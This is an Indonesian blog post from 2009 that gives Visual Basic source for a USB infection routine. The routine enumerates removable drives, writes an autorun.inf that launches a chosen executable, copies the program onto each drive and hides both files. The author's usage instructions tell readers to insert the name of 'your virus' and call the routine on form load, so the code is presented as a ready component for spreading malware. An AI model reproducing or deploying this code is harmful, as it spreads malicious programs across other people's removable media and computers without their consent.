Code:Public Function InfeksiUSB(DigitalCat As String, AD As String) Dim FSO, USBCatLER, USBCat Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT") Set USBCatLER = FSO.DRIVES For Each USBCat In USBCatLER If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\" If DigitalUSB(USBCat & "\autorun.inf") Then SetAttr USBCat & "\autorun.inf", 0 Kill USBCat & "\autorun.inf" End If Open USBCat & "\autorun.inf" For Append As #1 Print #1, "[autorun]" & vbCrLf & _ "open=" & USBCat & "\" & AD Close #1 If Not DigitalUSB(USBCat & "\" & AD) Then FileCopy DigitalCat& AD, USBCat & "\" & AD End If SetAttr USBCat & "\" & AD, 4 SetAttr USBCat & "\autorun.inf", 4 SetAttr USBCat & "\" & AD, 2 SetAttr USBCat & "\autorun.inf", 2 End If Next End Function Public Function DigitalUSB(DosyaAdi As String) As Boolean On Error GoTo CekUSB Call FileLen(DosyaAdi) DigitalUSB = True Exit Function CekUSB: End Function Sub Main() InfeksiUSB App.Path, App.EXEName & ".exe" End Sub Cara Pakai : Pada code ini (ada .exe,-> letakkan nama virus kamu bisa jg diganti *.Vbs,etc..) InfeksiUSB App.Path, App.EXEName & ".exe" pada form load / dimana code virus kamu letakkan untuk mengaktifkan virus kamu cukup gunakan / panggiljika code ini di letakkan di module : gunakan code ini :Code:call InfeksiUSBCode:NamaModule.InfeksiUSB
Selasa, 29 Desember 2009
Code Infeksi USB
Tags
Artikel Terkait
- Sudah dua bulan lamanya saya melakukan riset kecil-kecilan untuk memasang antivirus yang
- Semua dalam bahasa Indonesia http://www.ziddu.com/download/6011844/mengamankan-komputer-d
- Download
- The Code Red worm was first discovered and researched by eEye Digital Security employees,
- Mungkin kata ini belum familiar bagi sebagian orang. Worm masih berkerabat dekat d
- Virus ‘Conficker.DV’ menggunakan metode penyebaran yang berbeda dari pendahulunya. De
Langganan:
Posting Komentar (Atom)
EmoticonEmoticon